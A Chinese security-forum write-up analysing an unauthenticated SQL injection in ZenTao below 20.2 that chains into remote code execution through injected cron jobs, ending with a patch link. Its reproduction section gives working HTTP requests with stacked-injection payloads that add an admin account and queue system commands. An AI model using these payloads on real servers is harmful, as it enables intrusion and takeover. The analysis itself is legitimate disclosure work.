问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
禅道20.2版本以下SQL注入到RCE漏洞分析
漏洞分析
禅道20.2版本以下在个性化设置功能上存在一个未授权sql注入,这注入通过堆叠注入到数据库zt_config表中,将添加后台管理员到zt_user和注入命令执行的定时任务到zt_queue表中,最终实现未授权RCE的效果。
### 1. 漏洞简介 禅道20.2版本以下在个性化设置功能上存在一个未授权sql注入,这注入通过堆叠注入到数据库zt\_config表中,将添加后台管理员到zt\_user和注入命令执行的定时任务到zt\_queue表中,最终实现未授权RCE的效果。 ### 2. 影响版本 18.0.beta1<=version<=18.13.stable 、 20.0.beta1<=version<20.2 、 17.0.beta1<=version<=17.8 以及16.5版本 受影响。 ### 3. 漏洞原理分析 #### 3.1 my::preference()注入点 `/zentao/module/my/control.php(my类)`的`preference`方法能够没有限制注入的key参数和参数值内容。`loadModel('setting')`表示加载`/module/setting/`的`model.php`文件。 ```php public function preference(string $showTip \= 'true') { $this\->loadModel('setting'); if($\_POST) { //e.g. system.common.safe.changeweak //根据zt\_config表??.common.?.? foreach($\_POST as $key \=> $value) $this\->setting\->setItem("{$this\->app\->user\->account}.common.$key", $value); $this\->setting\->setItem("{$this\->app\->user\->account}.common.preferenceSetted", 1); return $this\->send(array('result' \=> 'success', 'message' \=> $this\->lang\->saveSuccess, 'closeModal' \=> true)); } $this\->view\->title \= $this\->lang\->my\->common . $this\->lang\->hyphen . $this\->lang\->my\->preference; $this\->view\->showTip \= $showTip; $this\->view\->URSRList \= $this\->loadModel('custom')\->getURSRPairs(); $this\->view\->URSR \= $this\->setting\->getURSR(); $this\->view\->programLink \= isset($this\->config\->programLink) ? $this\->config\->programLink : 'program-browse'; $this\->view\->productLink \= isset($this\->config\->productLink) ? $this\->config\->productLink : 'product-all'; $this\->view\->projectLink \= isset($this\->config\->projectLink) ? $this\->config\->projectLink : 'project-browse'; $this\->view\->executionLink \= isset($this\->config\->executionLink) ? $this\->config\->executionLink : 'execution-task'; $this\->view\->preferenceSetted \= isset($this\->config\->preferenceSetted) ? true : false; $this\->display(); } ``` 没有对`$_POST`过滤,循环遍历获取参数和参数值,其中参数当作key,参数值当作value,分别传入setting模块model.php(settingModel类)的setItem方法。 ```php public function setItem(string $path, mixed $value \= ''): bool { $item \= $this\->parseItemPath($path); if(empty($item)) return false; $item\->value \= strval($value);//value没有过滤,直接赋值。 $this\->dao\->replace(TABLE\_CONFIG)\->data($item)\->exec(); return !dao::isError(); } ``` `$item->value = strval($value);`显示value没有过滤,直接赋值。而key会经过`parseItemPath`处理。`$this->app->user`从session获取,没登陆情况下`$this->app->user->account`为null。 ```php public function parseItemPath(string $path): object|bool { /\* Determine vision of config item. \*/ $pathVision \= explode('@', $path); $vision \= isset($pathVision\[1\]) ? $pathVision\[1\] : ''; $path \= $pathVision\[0\]; /\* fix bug when account has dot. \*/ $account \= isset($this\->app\->user\->account) ? $this\->app\->user\->account : ''; $replace \= false; if($account and strpos($path, $account) \=== 0) { $replace \= true; $path \= preg\_replace("/^{$account}/", 'account', $path); } $level \= substr\_count($path, '.');//几层 $section \= ''; if($level <= 1) return false; if($level \== 2) list($owner, $module, $key) \= explode('.', $path); if($level \== 3) list($owner, $module, $section, $key) \= explode('.', $path); if($replace) $owner \= $account; $item \= new stdclass(); $item\->owner \= $owner; $item\->module \= $module; $item\->section \= $section; $item\->key \= $key; if(!empty($vision)) $item\->vision \= $vision; return $item; } ``` 配合`setItem`方法replace的`TABLE_CONFIG(zt_config)`格式可以查看到数据表的结构,由此可以得知`parseItemPath`处理`{$this->app->user->account}.common.$key`和value的过程。只能控制数据库中最后两列key和value,前面vison、owner和section均为空。 ![img](https://github.com/Y4tacker/y4tacker.github.io/blob/master/2024/08/26/year/2024/8/%E6%B5%85%E6%9E%90%E7%A6%85%E9%81%93%E5%89%8D%E5%8F%B0SQL%E6%B3%A8%E5%85%A5-Version-20-2/image-20240826221407774.png?raw=true) 外部数据处理完毕后经过传入`zentao/lib/dao/dao.class.php(Dao类)`的`data()`会转义单引号,后续跟进如下: ```php //zentao/lib/dao/dao.class.php[Dao::data()] public function data($data, $skipFields \= '') { global $app, $config; if(!is\_object($data)) $data \= (object)$data; if(get\_class($data) \== 'form') $data \= $data\->data; if(isset($config\->bizVersion)) { $app\->loadLang('workflow'); $app\->loadConfig('workflow'); /\* Check current module is buildin workflow. \*/ if(isset($config\->workflow\->buildin\->modules)) { $currentModule \= $app\->fetchModule ?: $app\->rawModule; foreach($config\->workflow\->buildin\->modules as $appModules) { if(!empty($appModules\->$currentModule)) { $currentMainTable \= zget($appModules\->$currentModule, 'table', ''); break; } } if(isset($currentMainTable)) { if($currentMainTable \== $this\->table) { $data \= $this\->processData($data); } else { $workflowFields \= array(); $stmt \= $this\->dbh\->query("SELECT \`field\`,\`type\` FROM " . TABLE\_WORKFLOWFIELD . " WHERE \`module\` = '{$currentModule}' AND \`buildin\` = '0'"); while($row \= $stmt\->fetch()) { $workflowFields\[$row\->field\] \= $row\->type; } $fields \= $this\->getFieldsType(); foreach($data as $field \=> $value) { if(!isset($fields\[$field\]) && isset($workflowFields\[$field\])) unset($data\->$field); } } } } } $skipFields .\= ',uid'; return parent::data($data, $skipFields); } //zentao/lib/base/dao/dao.class.php[baseDao::data()] public function data($data, $skipFields \= '') { if(!is\_object($data)) $data \= (object)$data; if($this\->autoLang and !isset($data\->lang)) { $data\->lang \= $this\->app\->getClientLang(); if(isset($this\->app\->config\->cn2tw) and $this\->app\->config\->cn2tw and $data\->lang \== 'zh-tw') $data\->lang \= 'zh-cn'; if(defined('RUN\_MODE') and RUN\_MODE \== 'front' and !empty($this\->app\->config\->cn2tw)) $data\->lang \= str\_replace('zh-tw', 'zh-cn', $data\->lang); } $this\->sqlobj\->data($data, $skipFields); return $this; } //zentao/lib/base/dao/dao.class.php[baseSQL::data()] public function data($data, $skipFields \= '') { $data \= (object) $data; if($skipFields) $this\->skipFields \= ',' . str\_replace(' ', '', $skipFields) . ','; if($this\->method != 'insert') { foreach($data as $field \=> $value) { if(!preg\_match('|^\\w+$|', $field)) { unset($data\->$field); continue; } if(strpos($this\->skipFields, ",$field,") !== false) continue; if($field \== 'id' and $this\->method \== 'update') continue; // primary key not allowed in dmdb. $this\->sql .\= "\`$field\` = " . $this\->quote($value) . ','; } } $this\->data \= $data; $this\->sql \= rtrim($this\->sql, ','); // Remove the last ','. return $this; } ``` 跟进`quote()`方法发现quote只会转义单引号,斜线和反斜线不会: ```php public function quote($value) { if(is\_null($value)) return 'NULL'; if($this\->magicQuote) $value \= stripslashes($value); return $this\->dbh\->quote((string)$value); } ``` data处理完毕后就返回`exec`执行sql语句了,从而将外部数据保存到数据库`zt_config`中。 #### 3.2 commonModel::loadConfigFromDB()`和`router::setControlFile触发点 由于这是一个二次注入,因此找触发点第二步从漏洞原理出发: 代码逻辑从table\_config获取数据,然后拼接到不论哪个表的where条件中,并且增删改查等sql语句**(不能经过链式操作函数,因此这些函数都会转义承接的数据过滤加入quotes)**。 查找思路要么找第一步table\_config数据表获取数据select的\*/value,要么找第二步直接拼接where条件的sql语句。 从第一步查找正则`select[^\r\n]+\_config`搜索,结合zt\_config表拥有的字段和注入点可排除的条件有:owner、section、vision为空、module为common、key和value可控可任意设置。 一共找到以下几处: - `baseRouter::setVision()方法` 该处$account可控,但是添加了`validater::checkAccount($account)`,该处存在历史漏洞`CNVD-2022-42853` ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732605588889-5d6003cd-dff3-4a69-824c-2135fcc79fcd.png) - `settingModel::getSysAndPersonalConfig()方法` ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732605846366-44cbd244-95ff-4cd9-951e-508a88a9b4cc.png) 跟进发现该处符合要求,但是该函数内部只有获取zt\_config数据,没有将获取的数据进行再次的sql语句操作,因此仅此不能完全触发。 ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732605933151-02d4e347-b2bd-4e9c-b739-aea03df3557b.png) ```php public function getSysAndPersonalConfig(string $account \= ''): array { $owner \= 'system,' . ($account ? $account : ''); $records \= $this\->dao\->select('\*')\->from(TABLE\_CONFIG) \->where('owner')\->in($owner) \->beginIF(!$this\->app\->upgrading)\->andWhere('vision')\->in(array('', $this\->config\->vision))\->fi() \->orderBy('id') \->fetchAll('id'); if(!$records) return array(); $vision \= $this\->config\->vision; /\* Group records by owner and module. \*/ $config \= array(); foreach($records as $record) { if(!isset($config\[$record\->owner\])) $config\[$record\->owner\] \= new stdclass(); if(!isset($record\->module)) return array(); // If no module field, return directly. Since 3.2 version, there's the module field. if(empty($record\->module)) continue; /\* If it\`s lite vision unset config requiredFields \*/ if($vision \== 'lite' and $record\->key \== 'requiredFields' and $record\->vision \== '') continue; $config\[$record\->owner\]\->{$record\->module}\[\] \= $record; } return $config; } ``` 寻找调用`settingModel::getSysAndPersonalConfig()`方法的地方,完成触发。 ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732606637398-da676657-82d7-4bc4-a459-f70cb59912e9.png) 只有一处`commonModel::loadConfigFromDB()方法`对其调用,其中$account刚好未登陆的情况下为空。 ```php public function loadConfigFromDB() { /\* Get configs of system and current user. \*/ $account \= isset($this\->app\->user\->account) ? $this\->app\->user\->account : ''; if($this\->config\->db\->name) $config \= $this\->loadModel('setting')\->getSysAndPersonalConfig($account); $this\->config\->system \= isset($config\['system'\]) ? $config\['system'\] : array(); $this\->config\->personal \= isset($config\[$account\]) ? $config\[$account\] : array();//$config\[""\] $this\->commonTao\->updateDBWebRoot($this\->config\->system); /\* Override the items defined in config/config.php and config/my.php. \*/ if(isset($this\->config\->system\->common)) $this\->app\->mergeConfig($this\->config\->system\->common, 'common'); if(isset($this\->config\->personal\->common)) $this\->app\->mergeConfig($this\->config\->personal\->common, 'common'); $this\->config\->disabledFeatures \= $this\->config\->disabledFeatures . ',' . $this\->config\->closedFeatures; } ``` 从zt\_config获取的数据return存储到$config,继续`$config[$account]($config[""])`传递给`$this->config->personal->common`(个人用户common配置),在第20行调用`baseRouter::mergeConfig()`操作。 ```php public function mergeConfig(array $dbConfig, string $moduleName \= 'common') { global $config; /\* 如果没有设置本模块配置,则首先进行初始化。Init the $config->$moduleName if not set.\*/ if($moduleName != 'common' and !isset($config\->$moduleName)) $config\->$moduleName \= new stdclass(); $config2Merge \= $config; if($moduleName != 'common') $config2Merge \= $config\->$moduleName; foreach($dbConfig as $item) { if($item\->section) { if(!isset($config2Merge\->{$item\->section})) $config2Merge\->{$item\->section} \= new stdclass(); if(is\_object($config2Merge\->{$item\->section})) { $config2Merge\->{$item\->section}\->{$item\->key} \= $item\->value; } } else { $config2Merge\->{$item\->key} \= $item\->value; // 根据代码逻辑得知,从数据库的配置存储到 } } } ``` `$config2Merge`承接代码中全局变量`$config`原本值,然后再添加数据库的common配置。 寻找调用`commonModel::loadConfigFromDB()`的地方: ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732609491785-44315fc9-25fa-4324-96b0-fed903eb8f70.png) 其中有一个在同类下`setUserConfig()`有调用,该类在路由分析中知道是禅道整体路由默认会访问加载的,所以该方法只要访问任何路由都会有获取数据库config。但这里还没有找到将获取的数据存到sql操作中,直接根据第二步触发的正则`[\'\"][^\r\n\>]+where[^\r\n]+\$`查找。 首先在module和framework目录中查找: ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732608814775-14505141-d141-4bbe-bd36-8c071894b7e4.png) `router::setControlFile()`在if else分支里面`$this->config->vision`直接拼接`zt_workflowaction`。刚好`$this->config->vision`可以经过数据库`commonModel::loadConfigFromDB()`覆盖到代码config中。为了能进入if else分支,`$this->config->edition`默认是open(在`config/config.php`可以查看开源版本是这样,旗舰版或商业版则不存在是这个问题),需要通过注入点覆盖。同时`$this->moduleName`需要从`zt_workflowaction`选任意一个存在的module即可,method调用方法任意写,但是不能写`browselabel`。 ```php public function setControlFile($exitIfNone \= true) { /\* Set raw module and method name for fetch control. \*/ if(empty($this\->rawModule)) $this\->rawModule \= $this\->moduleName; if(empty($this\->rawMethod)) $this\->rawMethod \= $this\->methodName; /\* If is not a biz version or is in install mode or in in upgrade mode, call parent method. \*/ if($this\->config\->edition \== 'open' or $this\->installing or $this\->upgrading) return parent::setControlFile($exitIfNone); /\* Check if the requested module is defined in workflow. \*/ $flow \= $this\->dbQuery("SELECT \* FROM " . TABLE\_WORKFLOW . " WHERE \`module\` = '$this\->moduleName'")\->fetch(); if(!$flow) return parent::setControlFile($exitIfNone); if($flow\->status != 'normal') helper::end("<html><head><meta charset='utf-8'></head><body>{$this\->lang\->flowNotRelease}</body></html>"); if($flow\->buildin && $this\->methodName \== 'browselabel') { $this\->rawModule \= $this\->moduleName; $this\->rawMethod \= 'browse'; $this\->isFlow \= true; $moduleName \= 'flow'; $methodName \= 'browse'; $this\->setFlowURI($moduleName, $methodName); } else { $action \= $this\->dbQuery("SELECT \* FROM " . TABLE\_WORKFLOWACTION . " WHERE \`module\` = '$this\->moduleName' AND \`action\` = '$this\->methodName' AND \`vision\` = '{$this\->config\->vision}'")\->fetch(); if(zget($action, 'extensionType') \== 'override') { $this\->rawModule \= $this\->moduleName; $this\->rawMethod \= $this\->methodName; $this\->isFlow \= true; $this\->loadModuleConfig('workflowaction'); $moduleName \= 'flow'; $methodName \= $this\->methodName; if(!in\_array($this\->methodName, $this\->config\->workflowaction\->default\->actions)) { if($action\->type \== 'single') $methodName \= 'operate'; if($action\->type \== 'batch') $methodName \= 'batchOperate'; } $this\->setFlowURI($moduleName, $methodName); } } return parent::setControlFile($exitIfNone); } ``` 触发点涉及到禅道路由,这部分需要结合禅道路由整体分析理解。 #### 3.3 定时任务后台RCE `cron::ajaxExec()`是执行定时任务的方法,`$this->config->global->cron`默认从`zt_config`可以看到设置为1。访问该方法需要在`applyExecRoles()`判断当前用户是否有权限执行定时任务、判断当前时间是否大于上次执行任务的时间,否则不能执行任务。 ```php public function ajaxExec(bool $restart \= false) { if(empty($this\->config\->global\->cron)) return; //默认不为空 /\* Run as daemon. \*/ ignore\_user\_abort(true); set\_time\_limit(0); session\_write\_close(); $execId \= mt\_rand(); if($restart) $this\->cron\->restartCron($execId); while(true) { /\* Only one scheduler and max 4 consumers. \*/ $roles \= $this\->applyExecRoles($execId);//检测当前是否可以执行定时任务,内部逻辑是判断当前时间是否过了上一次已经执行过的时间。 if(empty($roles)) { ignore\_user\_abort(false); return; } if(in\_array('scheduler', $roles)) $this\->schedule($execId);//根据该方法注释为调度生成队列任务的方法 if(in\_array('consumer', $roles)) $this\->consumeTasks($execId);//根据注释为执行所有定时任务的方法 sleep(20); } } ``` 跟进执行定时任务的方法`consumeTasks()`: ```php public function consumeTasks(int $execId) { while(true) { $this\->cron\->updateTime('consumer', $execId); /\* Consume. \*/ $task \= $this\->dao\->select('\*')\->from(TABLE\_QUEUE)\->where('status')\->eq('wait')\->andWhere('command')\->ne('')\->orderBy('createdDate')\->fetch(); if(!$task) break; $this\->consumeTask($execId, $task); } } ``` 查询`TABLE_QUEUE(zt_queue)`表中需要执行的任务的命令有哪些。结合代码,如下所示status为wait并且命令不为空的任务则需要执行。每次执行完成后会在`consumeTask`方法更新zt\_queue表的`execId`、`status`、`lastTime`,方便下一次任务执行的对比。 ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1731318352750-82eceaee-1674-424e-9958-e2f81f133b46.png) 更新完毕后,将执行任务的结果不管如何(只要没有被catch)都记录到日志中,通过`cronModel::logCron()`方法 ```php public function consumeTask(int $execId, object $task) { /\* Other executor may execute the task at the same time,so we mark execId and wait 500ms to check whether we own it. \*/ $this\->dao\->update(TABLE\_QUEUE)\->set('status')\->eq('doing')\->set('execId')\->eq($execId)\->where('id')\->eq($task\->id)\->exec(); usleep(500); $task \= $this\->dao\->select('\*')\->from(TABLE\_QUEUE)\->where('id')\->eq($task\->id)\->fetch(); if($task\->execId != $execId) return; /\* Execution command. \*/ $output \= ''; $return \= ''; unset($\_SESSION\['company'\]); unset($this\->app\->company); $this\->loadModel('common'); $this\->common\->setCompany(); $this\->common\->loadConfigFromDB(); try { if($task\->type \== 'zentao') { parse\_str($task\->command, $params); if(isset($params\['moduleName'\]) and isset($params\['methodName'\])) { $this\->viewType \= 'html'; $this\->app\->loadLang($params\['moduleName'\]); $this\->app\->loadConfig($params\['moduleName'\]); $output \= $this\->fetch($params\['moduleName'\], $params\['methodName'\]); } } elseif($task\->type \== 'system') { exec($task\->command, $out, $return); if($out) $output \= implode(PHP\_EOL, $out); } } catch(EndResponseException $endResponseException) { $output \= $endResponseException\->getContent(); } catch(Exception $e) { $output \= $e; } $this\->dao\->update(TABLE\_QUEUE)\->set('status')\->eq('done')\->where('id')\->eq($task\->id)\->exec(); $this\->dao\->update(TABLE\_CRON)\->set('lastTime')\->eq(date(DT\_DATETIME1))\->where('id')\->eq($task\->cron)\->exec(); $log \= date('G:i:s') . " execute\\ncronId: {$task\->cron}\\nexecId: $execId\\ntaskId: {$task\->id}\\ncommand: {$task\->command}\\nreturn : $return\\noutput : $output\\n\\n"; $this\->cron\->logCron($log); return true; } ``` 日志文件名为`cron.记录日期.log.php`,日志统一路径为`zentao/tmp/log/`。 ```php public function logCron(string $log) { if(!is\_writable($this\->app\->getLogRoot())) return false; $runMode \= PHP\_SAPI \== 'cli' ? '\_cli' : ''; $file \= $this\->app\->getLogRoot() . "cron$runMode." . date('Ymd') . '.log.php'; if(!is\_file($file)) $log \= "<?php\\n die();\\n" . $log; $fp \= fopen($file, "a"); fwrite($fp, $log); fclose($fp); } ``` ### 4. 漏洞复现 #### 4.1 突破权限 根据漏洞分析得知这个二次注入,能够执行堆叠注入,再加上是个未授权SQL注入,利用该注入可添加管理员突破权限。 添加管理员用户模版payload参照zt\_user用户表中admin原始用户:`insert into zt_user(type,account,password,realname,pinyin)+value('inside','xxx','MD5 32位hash','xxx','xxxxx');`。 通过以下数据包能够添加成功账户bbba/123456: ```http POST /zentao/my-preference.html HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Accept: \*/\* Origin: http://x.x.x.x Referer: http://x.x.x.x Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: lang=zh-cn; device=desktop; theme=default; Connection: close Content-Length: 274 edition=1&vision=1';insert+into+zt\_user(type,account,password,realname,pinyin)+value('inside','bbba','e10adc3949ba59abbe56e057f20f883e','bbba','bbba+b');#/../../open/rnd ``` 触发路由请求类只要是zt\_workflow表中存在的module即可,请求的method方法随便写即可(**除去“browselabel”以外**)。 查看zt\_workflow: ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732526181733-fe3f7465-e967-4955-a6e0-b30fdf06dde6.png) 选用第一个`product`触发。 ```http GET /zentao/project-method.html HTTP/1.1 Host: x.x.x.x Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://x.x.x.x Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: lang=zh-cn; device=desktop; theme=default; hideMenu=false; vision=rnd; tab=my; Connection: close ``` 触发成功后响应302,无响应体(**使用浏览器的hackbar请求因为具体的方法随便写,可能会报找不到路由的错,开启了config/my.php的debug,会抛出异常和程序栈**): ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732526792287-7f28d31c-7e1c-4deb-9cf0-86046928d8a5.png) 新添加的用户首次登录需要修改原始密码。 #### 4.2 定时任务RCE 同样通过上述堆叠注入注入zt\_queue执行whoami的payload的sql注入:`INSERT+INTO+zt_queue(type,command,cron,createdDate,execId)+value('system','whoami',30,CURRENT_TIME(),123);` 注入成功后,查看zt\_queue表: ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732529188916-ee50870f-9e6b-4ad4-a144-789d14611a74.png) ```http GET /zentao/cron-ajaxExec.html HTTP/1.1 Host: x.x.x.x Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://x.x.x.x Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: zentaosid=b5ee0caeb63360a394258d068759bad4; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; tab=my Connection: close ``` 触发成功响应302: ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732529247967-5348322a-9ee3-4401-af68-0fcaf3b669af.png) 命令执行结果在`\app\zentao\tmp\log\`目录下日志文件`cron.日期.log.php`可以查看: e.g. 在`cron.20241125.log.php`能查看到结果。 ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732610458039-172795ac-baa6-4c00-baf6-115070ff65fa.png) ### 5. 官方修复 禅道在补丁页面发布该漏洞的修复:<https://www.zentao.net/extension-viewext-6.html> ![img](https://cdn.nlark.com/yuque/0/2024/png/21861937/1732525566721-087a4910-7d72-43af-866e-dce4e70d6adc.png)
发表于 2025-01-15 10:00:00
阅读 ( 199 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
0aspir1ng0
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!